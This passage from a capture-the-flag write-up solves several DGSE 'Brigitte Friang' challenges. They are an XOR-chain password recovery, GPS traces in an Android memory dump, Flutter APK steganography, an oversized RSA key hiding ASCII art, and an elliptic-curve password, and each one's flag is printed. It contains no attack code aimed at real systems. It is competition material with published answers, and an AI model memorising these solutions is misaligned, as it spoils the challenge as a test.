               if ((puVar2[5] ^ puVar2[4]) == 0x50) {
                  if ((puVar2[6] ^ puVar2[5]) == 0x57) {
                     if ((puVar2[7] ^ puVar2[6]) == 0x50) {
                        if ((puVar2[8] ^ puVar2[7]) == 0x56) {
                           if ((puVar2[9] ^ puVar2[8]) == 6) {
                              if (puVar2[9] == 0x34) {
                                 puts(&aBravo);
                                 exit(0);
                              }
                           }
                        }
                     }
                  }
               }
            }
         }
      }
   }

We implemented this chain of “if” conditions in reverse order using another Python code:

mdp = [ 0x34 ]
mdp = [ mdp[0] ^ 6 ] + mdp
mdp = [ mdp[0] ^ 0x56 ] + mdp
mdp = [ mdp[0] ^ 0x50 ] + mdp
mdp = [ mdp[0] ^ 0x57 ] + mdp
mdp = [ mdp[0] ^ 0x50 ] + mdp
mdp = [ mdp[0] ^ 0x56 ] + mdp
mdp = [ mdp[0] ^ 0x38 ] + mdp
mdp = [ mdp[0] ^ 0x6f ] + mdp
mdp = [ mdp[0] ^ 0x69 ] + mdp

print(mdp)
print(bytes(mdp))

Result of this script:

$ python3 script.py
[91, 50, 93, 101, 51, 99, 52, 100, 50, 52]
b'[2]e3c4d24'

We had now [2]e3c4d24.

Final step

To sum up, we had:

  • [1]4d862d5a
  • [2]e3c4d24
  • [3]4037402d4

According to the example given in the info.txt of secrets.zip, there was a [0] string that we were missing. We still did not know what the javascript found at the beginning meant but the missing string could be there.

Reminder of what the code looked like:

var flag = [91, 48, 93, 97, 97, 57, 51, 56, 97, 49, 54];
for (i = 0; i < flag.length; i++) {
    flag[i] = flag[i] + 4
}
alert(String.fromCharCode.apply(String, flag));

We removed the “+4” from the script and obtained the last part: [0]aa938a16

As instructed in info.txt, we concatenated each part and got the flag: DGSESIEE{aa938a164d862d5ae3c4d244037402d4}.

Sous l'océan (Forensic, 50 points)

The hint for this mission is the following one:

Nous pensons avoir retrouvé la trace d'Eve Descartes. Nous avons reçu un fichier anonyme provenant d'un smartphone Android (probablement celui de son ravisseur). Retrouvez des informations dans son historique de position.

Le flag est de la forme DGSESIEE{x} avec x une chaine de caractères

memdump.txt (SHA256=29c702ff8dc570319e5e8d05fc4cb96c1536b595b9a4e93d6205774f9afd2bff) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/memdump.txt

We only had a memdump.txt file to work with. This file was actually a memory dump from an Android smartphone and was supposed to contain GPS location history of Eve Descartes.

When searching for the word “gps” in the text file, we found something very interesting: a history of custom locations. Each custom location is a list of GPS coordinates.

$ cat memdump.txt
[...]
Historical Records by Provider:
    com.google.android.gms: gps: Interval 360 seconds: Duration requested 0 total, 0 foreground, out of the last 8 minutes: Currently active
    android: passive: Min interval 0 seconds: Max interval 1800 seconds: Duration requested 8 total, 8 foreground, out of the last 8 minutes: Currently active
    com.google.android.gms: passive: Interval 0 seconds: Duration requested 8 total, 8 foreground, out of the last 8 minutes: Currently active
  Last Known Locations:
    gps: Location[gps 37.421998,-122.084000 hAcc=20 et=+8m21s703ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
    passive: Location[gps 37.421998,-122.084000 hAcc=20 et=+8m21s703ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
  Last Known Locations Coarse Intervals:
    gps: Location[gps 37.421998,-122.084000 hAcc=20 et=+43s355ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
    passive: Location[gps 37.421998,-122.084000 hAcc=20 et=+43s355ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
  Custom Location History :
  Custom Location 1
                gps: Location[gps -47,1462046   30,9018186 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1963297   30,9012294 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1970164   30,8641039 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1438013   30,8652827 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1448313   30,9642508 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
        Custom Location 2
                gps: Location[gps -47,0820032   30,8641039 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1300684   30,8643986 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1304118   30,9006402 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,0789133   30,9003456 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,0847498   30,8131067 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1307551   30,8148758 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1304118   30,8340395 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1084391   30,8319759 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
[...]

We found a website that would help us visualise those coordinates. For each custom location, we entered the set of points, traced lines starting from the first point to the last and obtained these results:

Given how certain symbols appeared several times, we quickly identified the DGSESIEE pattern, that can be obtained by rotating the letters 90° counterclockwise and then mirroring them.

The flag was: DGSESIEE{OC34N}.

Steganosaurus (Forensic, 400 points)

The instructions for this mission are:

Nos agents ont trouvé dans le camion de livraison une clef USB. Nous vous transférons le filesystem de cette dernière et espérons que votre grande capacité de réflexion pemettra de révéler les secrets les plus sombres d'Evil Country !

Le flag est de la forme DGSEESIEE{x} avec x une chaine de caractères. (Attention au DGEESIEE, une erreur de typo s'est glissée dans le flag)

message (SHA256=3889febebd6b1d35c057c3ba3f6f722798f029d6d0321b484305922a3d55d4d8) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/message 

The provided file seems to be a disk image:

$ file message 
message: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", Media descriptor 0xf8, sectors/track 32, heads 64, hidden sectors 7256064, sectors 266240 (volumes > 32 MB), FAT (32 bit), sectors/FAT 2048, reserved 0x1, serial number 0xccd8d7cd, unlabeled

This image can be mounted as a local resource and delivers the first steps of the challenge:

# mkdir /tmp/disk
# mount -o loop message /tmp/disk/

# ls -lh /tmp/disk/
total 37M
-rwxr-xr-x 1 root root 532 oct.  15 17:48 readme
-rwxr-xr-x 1 root root 37M juil.  8 16:02 steganausorus.apk

# cat /tmp/disk/readme 
Bonjour evilcollegue !
Je te laisse ici une note d'avancement sur mes travaux !
J'ai réussi à implémenter complétement l'algorithme que j'avais présenté au QG au sein d'une application.
Je te joins également discrétement mes premiers résultats avec de vraies données sensibles ! Ils sont bons pour la corbeille mais ça n'est que le début !
Je t'avertis, l'application souffre d'un serieux defaut de performance ! je m'en occuperai plus tard.
contente-toi de valider les résultats.
Merci d'avance

For the worst,

QASKAB

The mention of the trash bin in the message leads to further investigation, and a file named flag.png:

# find /tmp/disk/
/tmp/disk/
/tmp/disk/readme
/tmp/disk/steganausorus.apk
/tmp/disk/.Trash-1000
/tmp/disk/.Trash-1000/info
/tmp/disk/.Trash-1000/info/flag.png.trashinfo
/tmp/disk/.Trash-1000/files
/tmp/disk/.Trash-1000/files/flag.png

# file /tmp/disk/.Trash-1000/files/flag.png
/tmp/disk/.Trash-1000/files/flag.png: PNG image data, 1000 x 514, 8-bit/color RGBA, non-interlaced

Note: the file can also be extracted using binwalk directly:

$ binwalk message | grep -i png
2114048       0x204200        PNG image, 1000 x 514, 8-bit/color RGBA, non-interlaced

As the image flag.png gives no extra hint (for now), the focus remains on the Android application, which can be disassembled:

$ apktool d steganausorus.apk -o steg
I: Using Apktool 2.3.4-dirty on steganausorus.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/XXX/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

The result is quite huge:

$ du -sch steg
116M	steg
116M	total

Some assets refers to “flutter”:

$ find steg/assets/
steg/assets/
steg/assets/flutter_assets
steg/assets/flutter_assets/isolate_snapshot_data
steg/assets/flutter_assets/LICENSE
steg/assets/flutter_assets/vm_snapshot_data
steg/assets/flutter_assets/AssetManifest.json
steg/assets/flutter_assets/packages
steg/assets/flutter_assets/packages/cupertino_icons
steg/assets/flutter_assets/packages/cupertino_icons/assets
steg/assets/flutter_assets/packages/cupertino_icons/assets/CupertinoIcons.ttf
steg/assets/flutter_assets/kernel_blob.bin
steg/assets/flutter_assets/fonts
steg/assets/flutter_assets/fonts/MaterialIcons-Regular.ttf
steg/assets/flutter_assets/FontManifest.json

With the help of a quick search, it appears that the kernel_blob.bin file is linked to Flutter, a Google’s UI toolkit for building beautiful, natively compiled applications for mobile, web, and desktop from a single codebase.

Previous write-ups for the same kind of challenge provide some help: the kernel contains source code, and the keyword MyHomePageState can be a good starting point for identifying the main code of the application.

Moreover, it seems to exist only one interesting source file for the current challenge, which saves plenty of time:

$ strings -a kernel_blob.bin | grep -o 'file:///.*dart$'
[...]
file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/process-3.0.13/lib/src/interface/process_manager.dart
file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/process-3.0.13/lib/src/interface/process_wrapper.dart
file:///D:/stegapp/stegapp/lib/main.dart
file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/typed_data-1.1.6/lib/typed_buffers.dart
file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/typed_data-1.1.6/lib/typed_data.dart
[...]

$ strings -a kernel_blob.bin | grep -o 'file:///.*dart$' | wc -l
913

The line breaks of the extracted source code can be converted using the dos2unix tool if needed.

The challenge boils down to reading code:

  • the secret message is converted to binary with a call to MessageToBinaryString();
  • the input image is converted to binary data with the toRadixString() method;
  • like a compression process, parts of the binary message are searched trough the binary image to built a kind of dictionary;
  • the final image is a copy of the original one, with the first pixels overwritten by the length a the dictionary, the length of the secret message and all the offset and stored length composing the dictionary:
    String stringtowrite="";

    stringtowrite+=offsetarray.length.toRadixString(2).padLeft(datasizebit,'0')+lenghtsizebit.toRadixString(2).padLeft(datasizebit,'0');

    offsetarray.forEach((listofdata){
//      listofdata.forEach((data){
//        print(data.toRadixString(2).padLeft(datasizebit,'0'));
        stringtowrite+=listofdata[0].toRadixString(2).padLeft(datasizebit,'0')+listofdata[1].toRadixString(2).padLeft(lenghtsizebit,'0');
      });

The important piece of code is:

String Megastringtosearch= MegaString.substring((MegaString.length/4).round());

Thus, the first quarter of the image is skipped while searching for patterns.

The Image Class documentation is helpful to understand how the API works without running the application:

operator [](int index) → int
   Get a pixel from the buffer. No range checking is done. 

getPixel(int x, int y) → int
   Get the pixel from the given x, y coordinate. Color is encoded in a Uint32 as #AABBGGRR. No range checking is done.

A zoom at the upper left corner of the flag.png confirms that something is encoded inside the image data:

The unsteg.py Python script revert the hidding process:

$ python3 ./unsteg.py 
[i] Size: 1000 x 514
[i] Pixel width: 4
[i] Offset data size: 12336000
[i] Data size bit: 24
[i] Offset array: 8
[i] Length size bit: 8
[i] Hidden: 19 bits at offset 3318975
[i] Hidden: 24 bits at offset 7252546
[i] Hidden: 26 bits at offset 4093570
[i] Hidden: 18 bits at offset 3084414
[i] Hidden: 22 bits at offset 4123951
[i] Hidden: 24 bits at offset 5062908
[i] Hidden: 22 bits at offset 7279338
[i] Hidden: 13 bits at offset 3102140
[i] Total: 168
[!] Flag: DGSEESIEE{FL4GISH3R3}

Stranger RSA (Crypto, 200 points)

The description of this challenge is:

Un de nos agents est parvenu à dérober une clé privée et un fichier chiffré à Evil Gouv. Retrouvez l'information, avec un peu d'imagination

Le flag est juste une chaîne de caractères (sans le DGESIEE{})

private.pem (SHA256=84f2c60b3d796a01e7762777923a8921433bce8ead72bc94fa26d1676ecef637) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/private.pem
EVIL-FILE.txt.enc (SHA256=aee3dd5b398689bb73a207a52d56a130bca8fb30e3261e419ab22026b447b5ab) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/EVIL-FILE.txt.enc 

We are given a private key and an encrypted message.

The size of the key is really surprising:

$ openssl pkey -in private.pem -noout -text | head -1
RSA Private-Key: (10375 bit, 2 primes)

The size is 10375-bit long, which means 10375 / 8 = 1296.875 bytes.

Curiously, the encrypted file has the same size:

$ ls -l key.raw EVIL-FILE.txt.enc
-rw-r--r-- 1 XXXXX XXXXX 1297 oct. 21 14:42 EVIL-FILE.txt.enc

The first thing to do is to use the key to read the message; unfortunately it doesn’t give us much information.

$ openssl rsautl -decrypt -in EVIL-FILE.txt.enc -out /dev/stdout -inkey private.pem
221 x 7

When looking at the info contained inside the private key, we find that one parameter is looking pretty weird in decimal.

$ cat private.pem | openssl rsa -text -noout
[...]
exponent1:
    01:fe:6f:62:70:d2:01:6f:a0:09:2f:bc:3d:f8:40:
    f6:0c:eb:5a:ff:b1:cb:46:c6:ae:11:a9:f8:ba:16:
    bc:bc:10:9a:ab:65:e3:b2:e1:8f:fb:e5:73:b9:af:
    1c:e7:34:96:67:b2:c8:49:95:49:83:41:9c:91:44:
    58:b1:e5:a2:2f:bf:43:b6:65:d6:bb:ea:83:fc:8e:
    5f:c3:50:bf:39:b1:25:02:2c:8b:af:94:f1:8c:f1:
    a5:96:c5:79:81:33:6c:42:e0:2b:61:7c:25:8e:3c:
    a6:d7:25:ca:5b:e5:56:76:1b:77:fc:b6:41:c3:7b:
    40:4b:7d:2d:14:4a:13:09:fd:8e:98:19:dd:fc:5c:
    d2:01:82:a7:06:cc:93:00:20:c9:aa:af:fd:11:f3:
    33:e9:bf:f9:02:9c:0f:6b:ee:db:36:53:eb:30:e0:
    c6:59:17:de:0a:5f:4a:44:6a:07:ec:96:e9:18:35:
    cc:f9:f7:35:0b:48:03:c5:4b:b2:ae:42:77:8c:0f:
    70:ee:78:c7:fb:70:92:5b:56:c0:08:80:c2:0c:53:
    4b:39:14:f0:74:b3:06:8a:b3:c8:47:c0:d7:e7:ee:
    6c:31:64:e0:f6:43:e8:6f:ef:b7:4e:74:82:1b:65:
    fe:07:67:6d:82:29:13:f6:9d:f3:ba:88:43:64:88:
    58:ec:08:9a:58:78:87:bf:30:0d:3e:5b:3a:0d:7c:
    c0:df:41:c2:cc:65:6e:86:ca:cc:94:13:e8:d6:d7:
    22:85:bf:ed:2e:d1:c8:b5:38:93:70:a2:35:f5:c4:
    98:2a:f0:b3:38:15:67:88:7a:42:4d:96:c7:6e:5f:
    8d:e0:9e:0c:56:cc:e8:3b:ac:4c:b7:c8:2f:8d:f9:
    de:f0:1c:fc:e3:82:9a:ab:b8:23:86:9f:27:6c:b3:
    07:ae:00:26:b0:af:56:db:2b:db:3e:38:dc:73:ad:
    ee:76:3c:68:86:2b:7e:56:2a:f2:88:d7:64:b2:ed:
    bf:da:d7:f2:94:9a:ef:51:d5:19:27:29:3b:05:01:
    07:49:c9:84:83:f2:cb:aa:6e:13:08:66:83:c8:35:
    f3:0a:59:fe:0a:52:4a:61:7d:fc:f6:13:bf:d4:35:
    88:70:bb:a8:65:19:33:29:7d:06:f2:07:01:7e:25:
    c5:a9:40:c3:4e:94:89:5e:46:c4:b9:c6:0a:f9:ed:
    5a:51:81:a5:7c:d1:f8:db:4c:ee:a1:7f:3b:3b:7e:
    0b:da:3a:21:6a:de:52:d6:95:bc:87:31:62:88:f6:
    13:0e:a0:c2:9e:61:cc:e7:77:31:5e:49:91:bc:42:
    9c:e2:a0:42:66:79:05:f2:bd:b6:e9:db:eb:d3:86:
    83:57:ca:71:92:94:fc:fe:07:49:df:3d:e3:65:73:
    c0:64:b2:e1:23:82:f8:15:b5:41:cb:23:32:9b:59:
    7a:7e:01:af:f4:59:da:46:be:b3:e8:ab:72:42:bd:
    e6:ef:04:06:b7:5a:21:14:61:7b:91:cb:c9:b4:be:
    b2:8b:9f:50:c6:37:6f:14:ad:06:ff:47:eb:9d:97:
    6e:09:25:19:ce:78:91:4e:08:0b:ec:ff:f3:42:ab:
    a8:ae:ce:0e:08:50:24:33:84:ee:b8:a1:d4:5f:0e:
    4f:df:a3:fe:db:c6:74:7a:a5:62:39:3a:87:c6:a7:
    0f:e2:b9:a4:49:8f:df:dc:ed:8f:cc:a3:7b:3a:1d:
    16:6f:55:e5
[...]
$ python3
>>> p = """02:91:09:7c:c4:99:b5:bb:b9:da:2a:e2:ff:1b:84:
...     b3:ea:15:a9:1c:21:8f:f4:fc:ff:59:1b:a2:e6:76:
...     f5:67:a2:b6:6b:43:0f:61:38:28:74:09:0c:74:8b:
...     92:94:93:d0:50:a8:0f:06:98:3e:f4:52:04:6b:48:
...     aa:6c:56:38:d8:2c:bf:4c:00:96:c5:5e:65:95:31:
...     f8:81:af:dd:75:91:8e:7b:84:8a:27:00:41:d1:2c:
...     a6:ef:40:73:8f:12:e7:24:84:21:1c:fd:54:8d:e2:
...     32:ec:67:58:45:81:b9:f7:4d:12:2c:23:44:f6:c3:
...     73:5e:3e:69:55:f2:23:a3:af:f4:af:61:c9:62:d6:
...     0c:28:d9:fa:f5:87:8e:63:8e:17:ba:dc:b1:09:e2:
...     f7:96:78:4e:4a:4c:e6:53:99:2e:6f:70:2a:04:c9:
...     5c:65:3c:90:60:af:ce:23:d7:79:ae:cc:f4:09:ee:
...     10:d5:36:3f:81:d7:2f:f1:c1:fe:57:2c:34:ba:27:
...     a0:55:ce:d1:4a:49:a9:12:f0:fb:a4:54:f7:a6:15:
...     9e:56:1a:0d:9f:d1:f5:82:92:2b:e1:ff:7e:d7:a8:
...     02:55:05:30:d6:a9:d7:9d:16:97:a8:73:34:d3:19:
...     85:0a:46:51:3d:e3:7d:ca:87:e9:31:ed:c9:b3:5e:
...     e3:26:97:dc:34:96:8f:e7:04:fa:df:97:60:ac:6f:
...     ef:e3:db:1f:d1:8a:a8:be:63:df:ef:6e:0c:9f:d0:
...     04:cf:b1:41:3a:64:18:c5:fe:0d:6b:c7:c2:41:47:
...     04:30:ea:e7:27:b7:07:cd:91:37:0e:89:5f:59:2e:
...     df:82:65:e4:da:43:f4:6b:0f:89:eb:bb:36:62:75:
...     04:aa:7d:f2:d4:33:eb:c2:30:53:80:0f:08:c2:18:
...     b3:2a:7c:8a:03:df:2c:a1:c1:d3:23:ca:5a:8c:6a:
...     90:e3:e3:27:14:c9:44:4c:c1:52:ca:99:f2:98:c3:
...     fd:1b:57:7c:5e:12:b4:40:2e:3b:b1:da:fb:f0:40:
...     95:0b:f0:d3:a6:4b:a3:fd:ff:5d:1f:5f:7b:f9:e5:
...     01:66:39:e7:c9:4b:cc:02:2c:8a:83:99:41:6f:70:
...     76:21:96:8e:7f:f1:51:bd:72:fe:98:f1:b0:0a:03:
...     22:f5:dd:92:0a:e1:47:33:a8:c4:8a:63:09:76:74:
...     0c:aa:40:36:b2:a7:be:d2:81:3b:45:f3:36:53:bb:
...     ef:c0:27:3c:c6:44:26:32:aa:77:c0:ea:cc:db:25:
...     ae:3a:0b:16:92:61:38:30:b1:46:3f:f3:b0:fc:df:
...     d0:e2:0c:64:f5:25:80:67:f5:82:7a:09:2e:01:13:
...     e5:3d:f7:0e:8e:72:d1:ba:02:ac:a8:37:ec:f3:46:
...     4f:de:4e:e3:cd:f0:df:9c:ca:e4:0e:4e:0b:6f:c6:
...     58:df:b5:e5:57:5d:f7:d1:39:3e:36:e2:23:49:be:
...     23:f7:2a:5a:f1:e5:3b:8e:23:03:ed:a7:80:cf:ec:
...     68:31:90:f1:0d:de:56:a5:00:92:51:a1:6d:1b:65:
...     f5:29:8e:cd:6c:e3:df:2b:6b:56:e1:6b:26:5b:7c:
...     52:3b:4e:11:fe:0a:38:3b:7f:7e:4d:a8:12:e8:f9:
...     8c:71:bc:12:b4:0d:65:66:e4:e2:03:fc:6c:d0:51:
...     5e:01:08:8d:86:cd:c6:cd:f5:24:9b:00:92:91:12:
...     6a:65:7d:13""".replace(':','').replace(' ','').replace('\n','')
>>> int(p, 16)
8888887778888888877777777788888888777777888888888877777788887777777777887777777777888877777777888888888777778888888888877788888888877777788888887778888888887777778888888888777777888888887778888888888887777778888888877788888888888111988888881111111111138889111111111888887111111118883111111111188111111111188881111111111188889111111118888888811118888888111111119888888111988888891111111118888871111111111888888111188888888711111111888888811118888888888118111888888319888888871188888888881188881138888888888713888888888888888831188888118888888811888888888811988888311811888889118888888888888118111888888888888811888811188888888888888118311888888111888888888888111811888888888118883198888831188888888311888888891188888113111111188871111111118888888811388888811888888888118888811111888888118881188888113111111188888118883198888888888911888881188888888888888118889118888811311111118888118881188888887111111111188883138888888811888888111888888811888888311887118888888888888811388888881188888888113888888888811881117319119188811888888811887111111111188888881118888888118888888888888111111111188881188888891181117313117188883118888888111888111733311111788811117889188887111339111888311899999338888811388888888118333311113888119997311188999111311918888111939111183118888888111888111178891888881111333331187118888888111888811133911178399113111718888997888888889978879999999977888879999999998888887999997888879999999999888879788888888799999999778888879999997788888888889988888887999997788997888888889978799999999988888877799999778797888888889978888799999778888888889998611

The solution is actually to print this number in a rectangle of 223 x 7 characters. We tried at first with a 221 x 7 but p is actually 14 digits longer than 221 x 7 so it fits perfectly in a 223 x 7 rectangle.

We can then read the flag is a sort of ASCII-art:

>>> p = str(int(p, 16))
>>> for i in range(7):
...     print(p[223*i:223*(i+1)])

And the flag is: AD26F7D346A2CA64

VX Elliptique (Crypto, 250 points)

The background of the mission is this one:

Nous avons intercepté 2 fichiers (VX_elliptique.pdf et livres_Friang.pdf) émis par un sous-marin d'Evil Gouv. La référence à Brigitte Friang ne peut être une coïncidence. Nous savons de source sure qu'Eve Descartes a été enlevée par Evil Gouv et est retenue dans un de leurs sous-marins dans l'océan Atlantique. Ce doit être elle qui a envoyé ces fichiers. Grâce à une de ses crises mathématiques, elle aura sûrement caché l'identification du sous-marin dans ces fichiers. Votre mission est de retrouver l'identification du sous-marin.

Le flag est de la forme DGSESIEE{x} avec x le code d'identification

VX_elliptique.pdf (SHA256=7995fc6529494734bae9e2a0b1800632bf9ebd41cbfab19ce23d834eabcf7523) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/VX_elliptique.pdf
livres_Friang.pdf (SHA256=222a463aeb09ef4c0599b9448184e616462459baea327827469bc7b0dd738b75) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/livres_Friang.pdf 

Two files are given, VX_elliptique.pdf and livres_Friang.pdf. The second one is password protected and the first one contains clues to find the password.

This challenge is about an elliptic curve in the integer field where n=57896044618658097711785492504343953926634992332820282019728792003956564819949. The equation of the curve (noted (E) for future reference) is but A is unknown.

Step 1: find A

Given the point P(x, y) on the curve, the goal is to find A such that the curve equation is satisfied, i.e. find A such that .

To compute A, it is necessary to find the inverse of in . Luckily, since Python 3.8, the pow function allows for modular inversion and pow(x*x,-1,n) yields the inverse of .

n = 57896044618658097711785492504343953926634992332820282019728792003956564819949
x = 54387532345611522562080964454373961410727797296305781726528152669705763479709
y = 14361142164866602439359111189873751719750924094051390005776268461061669568849
A = pow(x*x,-1,n)*(y*y-x*x*x-x)%n

As a result, A=486662.

Step 2: find the points

The challenge states that there exists and such that and with:

However, the values of x are unknown.

Because the points are multiples of P(x,y) they are on the elliptic curve and therefore the coordinates satisfy the elliptic curve equation (E). Finding the values of x is equivalent to solving where . It is a problem of factoring a polynomial over .

This can be done with Python using the sympy library. Note that the previous constants A and n have been defined above.

from sympy import poly, ground_roots
from sympy.abc import x

# define the constants
y1 = 43534902453791495272426381314470202206884068238768892013952523542894895251100
y2 = 30324056046686065827439799532301040739788176334375034006985657438931650257514

# define the polynomial
f = poly(x**3+A*x*x+x-(y1*y1)%n, modulus=n)

# compute the roots
roots = ground_roots(f, modulus=n)

This yields 3 possible values of   noted u, v, w:

u = 54387532345611522562080964454373961410727797296305781726528152669705763479709
v = 48377962721867712227812115825967814866900072246814115371447647755178792218507
w = 13026594169836960633677904728346131575642115122520666941481783583028573455020

Note that the roots returned by the ground_roots function can be negative, in which case they are taken modulo n.

The same calculation for yields only one root :

r = 24592060322915955458376742075654918743307884467086758475495911637571571854426

Step 3: find z

z is defined as a solution to the following system:

This system implies that there must exist integers p and q such that . One particular solution can be found using the Bezout Identity. It is easy to notice that . Multiplying this equation by yields a particular solution with and . With this solution, taking the first possible root for u, a solution for z is . If this solution is negative it can be taken modulo .

Finally, one possible solution for the password is:

z = 1626912004825687681266928944940137740110044614947501502667974700957265876831665835249437745227202257555252761324145945972681589648893511804029315415851794

Using this value as password unlocks the PDF and reveals the flag: DGSESIEE{BF-2703-9020-RTQM}.

Conclusion

The Brigitte Friang challenge was a great opportunity to sharpen our technical skills and to practice team building.

Glad to have been able to reach the end of this new french challenge all together!

All the materials needed to replay this CTF are available from the Risk&Co repository.